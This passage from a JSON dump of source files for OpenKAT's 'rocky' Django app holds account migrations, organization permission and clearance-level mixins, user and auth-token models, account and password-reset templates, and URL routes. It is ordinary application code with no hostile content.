    "content": "# Generated by Django 4.2.11 on 2024-05-09 10:54\n\nimport django.db.models.deletion\nimport django.db.models.functions.text\nimport django.utils.timezone\nfrom django.conf import settings\nfrom django.db import migrations, models\n\nimport account.models\n\n\nclass Migration(migrations.Migration):\n    replaces = [\n        (\"account\", \"0001_initial\"),\n        (\"account\", \"0002_remove_first_last_name\"),\n        (\"account\", \"0003_alter_katuser_full_name\"),\n        (\"account\", \"0004_authtoken_authtoken_unique_name\"),\n    ]\n\n    initial = True\n\n    dependencies = [(\"auth\", \"0012_alter_user_first_name_max_length\")]\n\n    operations = [\n        migrations.CreateModel(\n            name=\"KATUser\",\n            fields=[\n                (\"password\", models.CharField(max_length=128, verbose_name=\"password\")),\n                (\"last_login\", models.DateTimeField(blank=True, null=True, verbose_name=\"last login\")),\n                (\n                    \"is_superuser\",\n                    models.BooleanField(\n                        default=False,\n                        help_text=\"Designates that this user has all permissions without explicitly assigning them.\",\n                        verbose_name=\"superuser status\",\n                    ),\n                ),\n                (\"id\", models.AutoField(primary_key=True, serialize=False, verbose_name=\"ID\")),\n                (\"full_name\", models.CharField(max_length=150, verbose_name=\"full name\")),\n                (\"email\", account.models.LowercaseEmailField(max_length=254, unique=True, verbose_name=\"email\")),\n                (\n                    \"is_staff\",\n                    models.BooleanField(\n                        default=False,\n                        help_text=\"Designates whether the user can log into this admin site.\",\n                        verbose_name=\"staff status\",\n                    ),\n                ),\n                (\n                    \"is_active\",\n                    models.BooleanField(\n                        default=True,\n                        help_text=\"Designates whether this user should be treated as active. Unselect this instead of deleting accounts.\",\n                        verbose_name=\"active\",\n                    ),\n                ),\n                (\"date_joined\", models.DateTimeField(default=django.utils.timezone.now, verbose_name=\"date joined\")),\n                (\n                    \"groups\",\n                    models.ManyToManyField(\n                        blank=True,\n                        help_text=\"The groups this user belongs to. A user will get all permissions granted to each of their groups.\",\n                        related_name=\"user_set\",\n                        related_query_name=\"user\",\n                        to=\"auth.group\",\n                        verbose_name=\"groups\",\n                    ),\n                ),\n                (\n                    \"user_permissions\",\n                    models.ManyToManyField(\n                        blank=True,\n                        help_text=\"Specific permissions for this user.\",\n                        related_name=\"user_set\",\n                        related_query_name=\"user\",\n                        to=\"auth.permission\",\n                        verbose_name=\"user permissions\",\n                    ),\n                ),\n            ],\n            options={\"abstract\": False},\n        ),\n        migrations.CreateModel(\n            name=\"AuthToken\",\n            fields=[\n                (\"digest\", models.CharField(max_length=128, primary_key=True, serialize=False)),\n                (\"token_key\", models.CharField(db_index=True, max_length=25)),\n                (\"created\", models.DateTimeField(auto_now_add=True)),\n                (\"expiry\", models.DateTimeField(blank=True, null=True)),\n                (\"name\", models.CharField(max_length=150, verbose_name=\"name\")),\n                (\n                    \"user\",\n                    models.ForeignKey(\n                        on_delete=django.db.models.deletion.CASCADE,\n                        related_name=\"auth_token_set\",\n                        to=settings.AUTH_USER_MODEL,\n                    ),\n                ),\n            ],\n        ),\n        migrations.AddConstraint(\n            model_name=\"authtoken\",\n            constraint=models.UniqueConstraint(\n                models.F(\"user\"), django.db.models.functions.text.Lower(\"name\"), name=\"unique name\"\n            ),\n        ),\n    ]\n"
  },
  {
    "path": "rocky/account/migrations/0002_remove_first_last_name.py",
    "content": "# Generated by Django 3.2.14 on 2022-07-14 00:12\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"account\", \"0001_initial\")]\n\n    operations = [\n        migrations.RemoveField(model_name=\"katuser\", name=\"first_name\"),\n        migrations.RemoveField(model_name=\"katuser\", name=\"last_name\"),\n    ]\n"
  },
  {
    "path": "rocky/account/migrations/0003_alter_katuser_full_name.py",
    "content": "# Generated by Django 4.2.1 on 2023-06-12 16:38\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"account\", \"0002_remove_first_last_name\")]\n\n    operations = [\n        migrations.AlterField(\n            model_name=\"katuser\", name=\"full_name\", field=models.CharField(max_length=150, verbose_name=\"full name\")\n        )\n    ]\n"
  },
  {
    "path": "rocky/account/migrations/0004_authtoken_authtoken_unique_name.py",
    "content": "# Generated by Django 4.2.7 on 2024-01-17 16:30\n\nimport django.db.models.deletion\nimport django.db.models.functions.text\nfrom django.conf import settings\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"account\", \"0003_alter_katuser_full_name\")]\n\n    operations = [\n        migrations.CreateModel(\n            name=\"AuthToken\",\n            fields=[\n                (\"digest\", models.CharField(max_length=128, primary_key=True, serialize=False)),\n                (\"token_key\", models.CharField(db_index=True, max_length=25)),\n                (\"created\", models.DateTimeField(auto_now_add=True)),\n                (\"expiry\", models.DateTimeField(blank=True, null=True)),\n                (\"name\", models.CharField(max_length=150, verbose_name=\"name\")),\n                (\n                    \"user\",\n                    models.ForeignKey(\n                        on_delete=django.db.models.deletion.CASCADE,\n                        related_name=\"auth_token_set\",\n                        to=settings.AUTH_USER_MODEL,\n                    ),\n                ),\n            ],\n        ),\n        migrations.AddConstraint(\n            model_name=\"authtoken\",\n            constraint=models.UniqueConstraint(\n                models.F(\"user\"), django.db.models.functions.text.Lower(\"name\"), name=\"unique name\"\n            ),\n        ),\n    ]\n"
  },
  {
    "path": "rocky/account/migrations/0005_katuser_clearance_level.py",
    "content": "# Generated by Django 5.0.8 on 2024-09-04 13:03\n\nimport django.core.validators\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"account\", \"0001_squashed_0004_authtoken_authtoken_unique_name\")]\n\n    operations = [\n        migrations.AddField(\n            model_name=\"katuser\",\n            name=\"clearance_level\",\n            field=models.IntegerField(\n                default=-1,\n                help_text=\"The clearance level of the user for all organizations.\",\n                validators=[django.core.validators.MinValueValidator(-1), django.core.validators.MaxValueValidator(4)],\n            ),\n        )\n    ]\n"
  },
  {
    "path": "rocky/account/migrations/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/account/mixins.py",
    "content": "from datetime import datetime, timezone\nfrom functools import cached_property\n\nimport structlog\nimport structlog.contextvars\nfrom django.conf import settings\nfrom django.contrib import messages\nfrom django.contrib.auth.mixins import PermissionRequiredMixin\nfrom django.core.exceptions import PermissionDenied\nfrom django.http import Http404\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views import View\nfrom django.views.generic.base import ContextMixin\nfrom katalogus.client import KATalogus, get_katalogus\nfrom rest_framework.exceptions import ValidationError\nfrom rest_framework.request import Request\nfrom tools.models import Indemnification, Organization, OrganizationMember\n\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\nfrom octopoes.models import OOI, DeclaredScanProfile, Reference, ScanLevel\nfrom rocky.bytes_client import BytesClient, get_bytes_client\nfrom rocky.exceptions import (\n    AcknowledgedClearanceLevelTooLowException,\n    IndemnificationNotPresentException,\n    TrustedClearanceLevelTooLowException,\n)\nfrom rocky.scheduler import SchedulerClient, scheduler_client\n\nlogger = structlog.get_logger(__name__)\n\n\n# There are modified versions of PermLookupDict and PermWrapper from\n# django.contrib.auth.context_processor.\nclass OrganizationPermLookupDict:\n    def __init__(self, organization_member, app_label):\n        self.organization_member, self.app_label = organization_member, app_label\n\n    def __repr__(self) -> str:\n        return str(self.organization_member.get_all_permissions)\n\n    def __getitem__(self, perm_name):\n        return self.organization_member.has_perm(f\"{self.app_label}.{perm_name}\")\n\n    def __iter__(self):\n        # To fix 'item in perms.someapp' and __getitem__ interaction we need to\n        # define __iter__. See #18979 for details.\n        raise TypeError(\"PermLookupDict is not iterable.\")\n\n    def __bool__(self):\n        return False\n\n\nclass OrganizationPermWrapper:\n    def __init__(self, organization_member):\n        self.organization_member = organization_member\n\n    def __repr__(self) -> str:\n        return f\"{self.__class__.__qualname__}({self.organization_member!r})\"\n\n    def __getitem__(self, app_label):\n        return OrganizationPermLookupDict(self.organization_member, app_label)\n\n    def __iter__(self):\n        # I am large, I contain multitudes.\n        raise TypeError(\"PermWrapper is not iterable.\")\n\n    def __contains__(self, perm_name):\n        \"\"\"\n        Lookup by \"someapp\" or \"someapp.someperm\" in perms.\n        \"\"\"\n        if \".\" not in perm_name:\n            # The name refers to module.\n            return bool(self[perm_name])\n        app_label, perm_name = perm_name.split(\".\", 1)\n        return self[app_label][perm_name]\n\n\nclass UnboundOrganizationView(ContextMixin, View):\n    def setup(self, request, *args, **kwargs):\n        super().setup(request, *args, **kwargs)\n\n    def get_user_organizations(self) -> list[str]:\n        return [org.code for org in self.request.user.organizations]\n\n\nclass OrganizationView(ContextMixin, View):\n    def setup(self, request, *args, **kwargs):\n        super().setup(request, *args, **kwargs)\n\n        organization_code = kwargs[\"organization_code\"]\n        # bind organization_code to log context\n        structlog.contextvars.bind_contextvars(organization_code=organization_code)\n\n        try:\n            self.organization = Organization.objects.get(code=organization_code)\n        except Organization.DoesNotExist:\n            raise Http404()\n\n        try:\n            self.organization_member = OrganizationMember.objects.get(\n                user=self.request.user, organization=self.organization\n            )\n        except OrganizationMember.DoesNotExist:\n            if self.request.user.is_superuser:\n                clearance_level = 4\n            elif self.request.user.has_perm(\"tools.can_access_all_organizations\"):\n                clearance_level = -1\n            else:\n                raise Http404()\n\n            # Only the Python object is created, it is not saved to the database.\n            self.organization_member = OrganizationMember(\n                user=self.request.user,\n                organization=self.organization,\n                status=OrganizationMember.STATUSES.ACTIVE,\n                trusted_clearance_level=clearance_level,\n                acknowledged_clearance_level=clearance_level,\n            )\n\n        if self.organization_member.blocked:\n            raise PermissionDenied()\n\n    @cached_property\n    def indemnification_present(self):\n        return Indemnification.objects.filter(organization=self.organization).exists()\n\n    @cached_property\n    def octopoes_api_connector(self) -> OctopoesAPIConnector:\n        return OctopoesAPIConnector(\n            settings.OCTOPOES_API, self.organization.code, timeout=settings.ROCKY_OUTGOING_REQUEST_TIMEOUT\n        )\n\n    @cached_property\n    def bytes_client(self) -> BytesClient:\n        return get_bytes_client(self.organization.code)\n\n    @cached_property\n    def katalogus_client(self) -> KATalogus:\n        return get_katalogus(self.organization_member)\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"organization\"] = self.organization\n        context[\"organization_member\"] = self.organization_member\n        context[\"may_update_clearance_level\"] = self.may_update_clearance_level\n        context[\"indemnification_present\"] = self.indemnification_present\n        context[\"perms\"] = OrganizationPermWrapper(self.organization_member)\n        return context\n\n    def indemnification_error(self):\n        return messages.error(self.request, f\"Indemnification not present at organization {self.organization}.\")\n\n    @cached_property\n    def may_update_clearance_level(self) -> bool:\n        if not self.indemnification_present:\n            return False\n\n        return self.organization_member.has_clearance_level(0)\n\n    def verify_raise_clearance_level(self, level: int) -> bool:\n        if not self.indemnification_present:\n            raise IndemnificationNotPresentException()\n\n        if self.organization_member.has_clearance_level(level):\n            return True\n        else:\n            if self.organization_member.trusted_clearance_level < level:\n                raise TrustedClearanceLevelTooLowException()\n            else:\n                raise AcknowledgedClearanceLevelTooLowException()\n\n    def raise_clearance_level(self, ooi_reference: Reference, level: int) -> bool:\n        self.verify_raise_clearance_level(level)\n        self.octopoes_api_connector.save_scan_profile(\n            DeclaredScanProfile(reference=ooi_reference, level=ScanLevel(level), user_id=self.request.user.id),\n            datetime.now(timezone.utc),\n            sync=True,\n        )\n        logger.info(\"Declared scan profile created\", event_code=\"800010\", ooi=ooi_reference, level=level)\n\n        return True\n\n    def raise_clearance_levels(self, ooi_references: list[Reference], level: int) -> bool:\n        self.verify_raise_clearance_level(level)\n        self.octopoes_api_connector.save_many_scan_profiles(\n            [\n                DeclaredScanProfile(reference=reference, level=ScanLevel(level), user_id=self.request.user.id)\n                for reference in ooi_references\n            ],\n            datetime.now(timezone.utc),\n            sync=True,\n        )\n        logger.info(\"Declared scan profiles created\", event_code=\"800010\", ooi_count=len(ooi_references), level=level)\n\n        return True\n\n    def can_raise_clearance_level(self, ooi: OOI, level: int) -> bool:\n        try:\n            self.raise_clearance_level(ooi.reference, level)\n            messages.success(self.request, _(\"Clearance level has been set.\"))\n            return True\n        except IndemnificationNotPresentException:\n            messages.error(\n                self.request,\n                _(\"Could not raise clearance level of %s to L%s. Indemnification not present at organization %s.\")\n                % (ooi.reference.human_readable, level, self.organization.name),\n            )\n\n        except TrustedClearanceLevelTooLowException:\n            messages.error(\n                self.request,\n                _(\n                    \"Could not raise clearance level of %s to L%s. \"\n                    \"You were trusted a clearance level of L%s. \"\n                    \"Contact your administrator to receive a higher clearance.\"\n                )\n                % (ooi.reference.human_readable, level, self.organization_member.max_clearance_level),\n            )\n        except AcknowledgedClearanceLevelTooLowException:\n            messages.error(\n                self.request,\n                _(\n                    \"Could not raise clearance level of %s to L%s. \"\n                    \"You acknowledged a clearance level of L%s. \"\n                    \"Please accept the clearance level first on your profile page to proceed.\"\n                )\n                % (ooi.reference.human_readable, level, self.organization_member.acknowledged_clearance_level),\n            )\n        return False\n\n\nclass OrganizationPermissionRequiredMixin(PermissionRequiredMixin):\n    \"\"\"\n    This mixin will check the permission based on OrganizationMember instead of User.\n    \"\"\"\n\n    def has_permission(self) -> bool:\n        perms = self.get_permission_required()\n        return self.organization_member.has_perms(perms)\n\n\nclass OrganizationAPIMixin:\n    request: Request\n\n    def get_organization(self, field: str, value: str) -> Organization:\n        lookup_param = {field: value}\n        try:\n            organization = Organization.objects.get(**lookup_param)\n        except Organization.DoesNotExist as e:\n            raise Http404(f\"Organization with {field} {value} does not exist\") from e\n\n        if self.request.user.has_perm(\"tools.can_access_all_organizations\"):\n            return organization\n\n        try:\n            organization_member = OrganizationMember.objects.get(user=self.request.user, organization=organization)\n        except OrganizationMember.DoesNotExist as e:\n            raise Http404(f\"Organization with {field} {value} does not exist\") from e\n\n        if organization_member.blocked:\n            raise PermissionDenied()\n\n        return organization\n\n    @cached_property\n    def organization(self) -> Organization:\n        try:\n            organization_id = self.request.query_params[\"organization_id\"]\n        except KeyError:\n            pass\n        else:\n            return self.get_organization(\"id\", organization_id)\n\n        try:\n            organization_code = self.request.query_params[\"organization_code\"]\n        except KeyError as e:\n            raise ValidationError(\"Missing organization_id or organization_code query parameter\") from e\n        else:\n            return self.get_organization(\"code\", organization_code)\n\n    @cached_property\n    def octopoes_api_connector(self) -> OctopoesAPIConnector:\n        return OctopoesAPIConnector(\n            settings.OCTOPOES_API, self.organization.code, timeout=settings.ROCKY_OUTGOING_REQUEST_TIMEOUT\n        )\n\n    @cached_property\n    def bytes_client(self) -> BytesClient:\n        return get_bytes_client(self.organization.code)\n\n    @cached_property\n    def scheduler_client(self) -> SchedulerClient:\n        return scheduler_client(self.organization.code)\n\n    @cached_property\n    def valid_time(self) -> datetime:\n        try:\n            valid_time = self.request.query_params[\"valid_time\"]\n        except KeyError:\n            return datetime.now(timezone.utc)\n        else:\n            try:\n                ret = datetime.fromisoformat(valid_time)\n            except ValueError:\n                raise ValidationError(f\"Wrong format for valid_time: {valid_time}\")\n\n            if not ret.tzinfo:\n                ret = ret.replace(tzinfo=timezone.utc)\n\n            return ret\n"
  },
  {
    "path": "rocky/account/models.py",
    "content": "from functools import cached_property\n\nfrom django.contrib.auth.base_user import BaseUserManager\nfrom django.contrib.auth.models import AbstractBaseUser, PermissionsMixin\nfrom django.core.validators import MaxValueValidator, MinValueValidator\nfrom django.db import models\nfrom django.db.models.functions import Lower\nfrom django.utils import timezone\nfrom django.utils.translation import gettext_lazy as _\nfrom knox import crypto\nfrom knox.models import AbstractAuthToken\nfrom knox.settings import CONSTANTS\nfrom tools.enums import MAX_SCAN_LEVEL\nfrom tools.models import Organization, OrganizationMember\n\n\nclass KATUserManager(BaseUserManager):\n    \"\"\"\n    Kat user model manager where email is the unique identifiers\n    for authentication instead of usernames.\n    \"\"\"\n\n    def create_user(self, email, password, **extra_fields):\n        \"\"\"\n        Create and save a User with the given email and password.\n        \"\"\"\n        if not email:\n            raise ValueError(_(\"The email must be set\"))\n        user = self.model(email=email, **extra_fields)\n        user.set_password(password)\n        user.save()\n        return user\n\n    def create_superuser(self, email, password, **extra_fields):\n        \"\"\"\n        Create and save a SuperUser with the given email and password.\n        \"\"\"\n        extra_fields.setdefault(\"is_staff\", True)\n        extra_fields.setdefault(\"is_superuser\", True)\n        extra_fields.setdefault(\"is_active\", True)\n\n        if extra_fields.get(\"is_staff\") is not True:\n            raise ValueError(_(\"Superuser must have is_staff=True.\"))\n        if extra_fields.get(\"is_superuser\") is not True:\n            raise ValueError(_(\"Superuser must have is_superuser=True.\"))\n        return self.create_user(email, password, **extra_fields)\n\n\nclass LowercaseEmailField(models.EmailField):\n    \"\"\"\n    Override EmailField to convert emails to lowercase before saving.\n    \"\"\"\n\n    def to_python(self, value):\n        \"\"\"\n        Convert email to lowercase.\n        \"\"\"\n        value = super().to_python(value)\n        if isinstance(value, str):\n            return value.lower()\n        return value\n\n\nclass KATUser(AbstractBaseUser, PermissionsMixin):\n    # Because we migrated from using the standard Django User model, we need\n    # explicitly use AutoField here instead of using BigAutoField by default\n    id = models.AutoField(primary_key=True, verbose_name=\"ID\")\n    full_name = models.CharField(_(\"full name\"), max_length=150)\n    email = LowercaseEmailField(_(\"email\"), max_length=254, unique=True)\n    is_staff = models.BooleanField(\n        _(\"staff status\"), default=False, help_text=_(\"Designates whether the user can log into this admin site.\")\n    )\n    is_active = models.BooleanField(\n        _(\"active\"),\n        default=True,\n        help_text=_(\n            \"Designates whether this user should be treated as active. Unselect this instead of deleting accounts.\"\n        ),\n    )\n    date_joined = models.DateTimeField(_(\"date joined\"), default=timezone.now)\n    clearance_level = models.IntegerField(\n        default=-1,\n        help_text=_(\"The clearance level of the user for all organizations.\"),\n        validators=[MinValueValidator(-1), MaxValueValidator(MAX_SCAN_LEVEL)],\n    )\n\n    USERNAME_FIELD = \"email\"\n    REQUIRED_FIELDS = [\"full_name\"]\n\n    objects = KATUserManager()\n\n    EVENT_CODES = {\"created\": 900101, \"updated\": 900102, \"deleted\": 900103}\n\n    def get_full_name(self):\n        return self.full_name\n\n    @cached_property\n    def all_organizations(self) -> list[Organization]:\n        return list(Organization.objects.all().order_by(\"name\"))\n\n    @cached_property\n    def organization_members(self) -> list[OrganizationMember]:\n        \"\"\"\n        Lists the user's OrganizationMembers including the related Organizations.\n        \"\"\"\n        return self.members.select_related(\"organization\").order_by(\"organization__name\")\n\n    @cached_property\n    def organizations(self) -> list[Organization]:\n        \"\"\"\n        Lists all organizations a user is a member of, excluding organizations to which access is blocked.\n\n        Superusers and users with the permission can_access_all_organizations are considered to be members\n        of all organizations.\n        \"\"\"\n        if self.has_perm(\"tools.can_access_all_organizations\"):\n            return self.all_organizations\n        return [m.organization for m in self.organization_members if not m.blocked]\n\n    @cached_property\n    def organizations_including_blocked(self) -> list[Organization]:\n        \"\"\"\n        Lists all organizations a user is a member of, including organizations to which access is blocked.\n\n        Superusers and users with the permission can_access_all_organizations are considered to be members\n        of all organizations.\n        \"\"\"\n        if self.has_perm(\"tools.can_access_all_organizations\"):\n            return self.all_organizations\n        return [m.organization for m in self.organization_members]\n\n\nclass AuthToken(AbstractAuthToken):\n    name = models.CharField(_(\"name\"), max_length=150)\n\n    class Meta:\n        constraints = [models.UniqueConstraint(\"user\", Lower(\"name\"), name=\"unique name\")]\n\n    EVENT_CODES = {\"created\": 900111, \"updated\": 900122, \"deleted\": 900123}\n\n    def __str__(self) -> str:\n        return f\"{self.name} ({self.user})\"\n\n    def generate_new_token(self) -> str:\n        \"\"\"\n        Updates token_key and digest with and returns the new token\"\n        \"\"\"\n        # Code copied from rest-knox AuthTokenManager\n        token = crypto.create_token_string()\n        self.token_key = token[: CONSTANTS.TOKEN_KEY_LENGTH]\n        self.digest = crypto.hash_token(token)\n\n        return token\n"
  },
  {
    "path": "rocky/account/templates/account_detail.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load static %}\n{% load i18n %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div>\n                <div class=\"column-2\">\n                    <div>\n                        <h1>{% translate \"Account details\" %}</h1>\n                    </div>\n                    <div class=\"horizontal-view toolbar\">\n                        <a class=\"button ghost\" href=\"{% url 'password_reset' %}\">{% translate \"Reset password\" %}</a>\n                    </div>\n                </div>\n                <dl>\n                    <div>\n                        <dt>{% translate \"Full name\" %}</dt>\n                        <dd>\n                            {{ organization_member.user.full_name }}\n                        </dd>\n                    </div>\n                    <div>\n                        <dt>{% translate \"Email address\" %}</dt>\n                        <dd>\n                            {{ organization_member.user }}\n                        </dd>\n                    </div>\n                    <div>\n                        <dt>{% translate \"Member type\" %}</dt>\n                        <dd>\n                            {% if organization_member.user.is_superuser %}\n                                Super user\n                            {% else %}\n                                {{ organization_member.groups.all.0 }}\n                            {% endif %}\n                        </dd>\n                    </div>\n                    <div>\n                        <dt>{% translate \"Organization\" %}</dt>\n                        <dd>\n                            {{ organization_member.organization }}\n                        </dd>\n                    </div>\n                    {% if organization_member.acknowledged_clearance_level >= 0 %}\n                        <div>\n                            <dt>{% translate \"Permission to set OOI clearance levels\" %}</dt>\n                            <dd>\n                                L{{ organization_member.acknowledged_clearance_level }}\n                            </dd>\n                        </div>\n                    {% endif %}\n                </dl>\n            </div>\n            {% if perms.tools.can_set_clearance_level %}\n                <h2>{% translate \"OOI clearance\" %}</h2>\n                {% with tcl=organization_member.trusted_clearance_level acl=organization_member.acknowledged_clearance_level %}\n                    <section>\n                        <div>\n                            {% if tcl < 0 %}\n                                <p>\n                                    {% translate \"You don't have any clearance to scan objects.\" %}\n                                    <br>\n                                    {% translate \"Get in contact with the admin to give you the necessary clearance level.\" %}\n                                </p>\n                            {% elif tcl >= 0 and tcl == acl %}\n                                <p>\n                                    {% translate \"You have currently accepted clearance up to level\" %} <strong>L{{ acl }}</strong>\n                                </p>\n                                <p class=\"explanation\"\n                                   role=\"group\"\n                                   aria-label=\"{% translate \"Explanation OOI Clearance\" %}\">\n                                    {% translate \"You can withdraw this at anytime you like, but know that you won't be able to change clearance levels anymore when you do.\" %}\n                                </p>\n                                {% blocktranslate asvar btn_text_withdraw_tcl trimmed %}\n                                    Withdraw L{{ acl }} clearance and responsibility\n                                {% endblocktranslate %}\n                                {% include \"partials/single_action_form.html\" with btn_text=btn_text_withdraw_tcl action=\"withdraw_acceptance\" key=\"member_id\" value=organization_member.id btn_class=\"ghost\" %}\n\n                            {% else %}\n                                <p class=\"explanation\"\n                                   role=\"group\"\n                                   aria-label=\"{% translate \"Explanation OOI clearance\" %}\">\n                                    {% blocktranslate trimmed %}\n                                        You are granted clearance for level L{{ tcl }} by your admin.\n                                        Before you can change OOI clearance levels up to this level,\n                                        you need to accept this permission.\n                                        Remember: <strong>with great power comes great responsibility.</strong>\n                                    {% endblocktranslate %}\n                                </p>\n                                {% blocktranslate asvar btn_text_accept_tcl trimmed %}\n                                    Accept level L{{ tcl }} clearance and responsibility\n                                {% endblocktranslate %}\n                                {% include \"partials/single_action_form.html\" with btn_text=btn_text_accept_tcl action=\"accept_clearance\" key=\"member_id\" value=organization_member.id btn_class=\"ghost\" %}\n\n                            {% endif %}\n                        </div>\n                    </section>\n                {% endwith %}\n            {% endif %}\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/account/templates/password_reset.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load static %}\n{% load i18n %}\n\n{% block content %}\n    {% include \"header.html\" with breadcrumbs=breadcrumbs %}\n\n    <main>\n        <section>\n            <div class=\"layout-authentication\">\n                <div>\n                    <h1>{% translate \"Reset password\" %}</h1>\n                    <p>{% translate \"Use the form below to reset your password.\" %}</p>\n                    <form name=\"reset-password\"\n                          id=\"form-reset-password\"\n                          class=\"help\"\n                          action=\"{% url \"password_reset\" %}\"\n                          method=\"post\">\n                        {% csrf_token %}\n                        {% translate \"Reset password\" as fieldset_legend %}\n                        {% include \"partials/form/fieldset.html\" with legend=fieldset_legend fieldset=\"email\" fields=form %}\n\n                        <div class=\"button-container\">\n                            <button type=\"submit\">{% translate \"Send\" %}</button>\n                            <a href=\"{% url \"login\" %}\" class=\"button ghost\">{% translate \"Back\" %}</a>\n                        </div>\n                    </form>\n                </div>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/account/templates/password_reset_confirm.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load static %}\n{% load i18n %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main>\n        <section>\n            <div class=\"layout-authentication\">\n                <div>\n                    {% if validlink %}\n                        <h1>{% translate \"Confirm reset password\" %}</h1>\n                        <p>{% translate \"Use the form below to confirm resetting your password\" %}</p>\n                        <form name=\"reset-password\"\n                              id=\"form-reset-password\"\n                              class=\"help\"\n                              method=\"post\">\n                            {% csrf_token %}\n                            {% translate \"Confirm password\" as fieldset_legend %}\n                            {% include \"partials/form/fieldset.html\" with legend=fieldset_legend fieldset=\"new_password1 new_password2\" fields=form %}\n\n                            <p>\n                                <a href=\"{% url \"login\" %}\" class=\"button ghost\">{% translate \"Back\" %}</a>\n                                <button type=\"submit\">{% translate \"Send\" %}</button>\n                            </p>\n                        </form>\n                    {% else %}\n                        <div id=\"explanation-invalid-link\" class=\"explanation\">\n                            <h1>{% translate \"The link is invalid\" %}</h1>\n                            <p>\n                                {% translate \"The password reset link was invalid, possibly because it has already been used.  Please request a new password reset.\" %}\n                            </p>\n                        </div>\n                    {% endif %}\n                </div>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/account/templates/password_reset_done.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load static %}\n{% load i18n %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <!-- djlint:off H020 -->\n    <main>\n        <section>\n        </section>\n    </main>\n    <!-- djlint:on -->\n{% endblock content %}\n"
  },
  {
    "path": "rocky/account/templates/password_reset_email.html",
    "content": "{% load i18n %}\n\n{% autoescape off %}\n    {% blocktranslate %}You're receiving this email because you requested a password reset for your user account at {{ site_name }}.{% endblocktranslate %}\n    {% translate \"Please go to the following page and choose a new password:\" %}\n    {% block reset_link %}\n        {{ protocol }}://{{ domain }}{% url \"password_reset_confirm\" uidb64=uid token=token %}\n    {% endblock reset_link %}\n    {% translate \"Sincerely,\" %}\n    {% blocktranslate %}The OpenKAT team{% endblocktranslate %}\n{% endautoescape %}\n"
  },
  {
    "path": "rocky/account/templates/password_reset_subject.txt",
    "content": "{% load i18n %}{% autoescape off %}\n{% blocktranslate %}Password reset on {{ site_name }}{% endblocktranslate %}\n{% endautoescape %}\n"
  },
  {
    "path": "rocky/account/templates/recover_email.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load static %}\n{% load i18n %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main>\n        <section>\n            <div class=\"layout-authentication\">\n                <div>\n                    <h1>{% translate \"Recover email address\" %}</h1>\n                    <p>{% translate \"Information on how to recover your connected email address\" %}</p>\n                    <div id=\"explanation-forgotten-email-adres\" class=\"explanation\">\n                        <h2>{% translate \"Forgotten email address?\" %}</h2>\n                        {% if help_desk_email %}\n                            <p>\n                                {% translate \"If you don’t remember the email address connected to your account, contact:\" %}\n                                <a href=\"mailto:{{ help_desk_email }}\">{{ help_desk_email }}</a>\n                            </p>\n                        {% else %}\n                            <p>{% translate \"Please contact the system administrator.\" %}</p>\n                        {% endif %}\n                    </div>\n                    <div class=\"button-container\">\n                        <a href=\"{% url \"login\" %}\" class=\"button\">{% translate \"Back to login\" %}</a>\n                        <a href=\"{% url \"landing_page\" %}\"\n                           class=\"button ghost back\"\n                           type=\"submit\">{% translate \"Back to Home\" %}</a>\n                    </div>\n                </div>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/account/templates/registration_email.html",
    "content": "{% load i18n %}\n\n{% autoescape off %}\n    {% blocktranslate %}Welcome to OpenKAT. You're receiving this email because you have been added to organization \"{{ organization }}\" at {{ site_name }}.{% endblocktranslate %}\n    {% translate \"Please go to the following page and choose a new password:\" %}\n    {% block reset_link %}\n        {{ protocol }}://{{ domain }}{% url \"password_reset_confirm\" uidb64=uid token=token %}\n    {% endblock reset_link %}\n    {% translate \"Sincerely,\" %}\n    {% blocktranslate %}The OpenKAT team{% endblocktranslate %}\n{% endautoescape %}\n"
  },
  {
    "path": "rocky/account/templates/registration_subject.txt",
    "content": "{% load i18n %}{% autoescape off %}\n{% blocktranslate %}Verify OpenKAT account on {{ site_name }}{% endblocktranslate %}\n{% endautoescape %}\n"
  },
  {
    "path": "rocky/account/urls.py",
    "content": "from django.urls import path\n\nfrom account import views\n\nurlpatterns = [\n    path(\"<organization_code>/account/\", views.AccountView.as_view(), name=\"account_detail\"),\n    path(\"login/\", views.LoginRockyView.as_view(), name=\"login\"),  # Bypass the two_factor login\n    path(\"logout/\", views.LogoutRockyView.as_view(), name=\"logout\"),\n    path(\n        \"two_factor/setup/\", views.SetupRockyView.as_view(), name=\"setup\"\n    ),  # Bypass the two_factor setup show that users have to be verified\n    path(\"recover-email/\", views.RecoverEmailView.as_view(), name=\"recover_email\"),\n    path(\"password_reset/\", views.PasswordResetView.as_view(), name=\"password_reset\"),\n    path(\"reset/<uidb64>/<token>/\", views.PasswordResetConfirmView.as_view(), name=\"password_reset_confirm\"),\n]\n"
  },
  {
    "path": "rocky/account/validators.py",
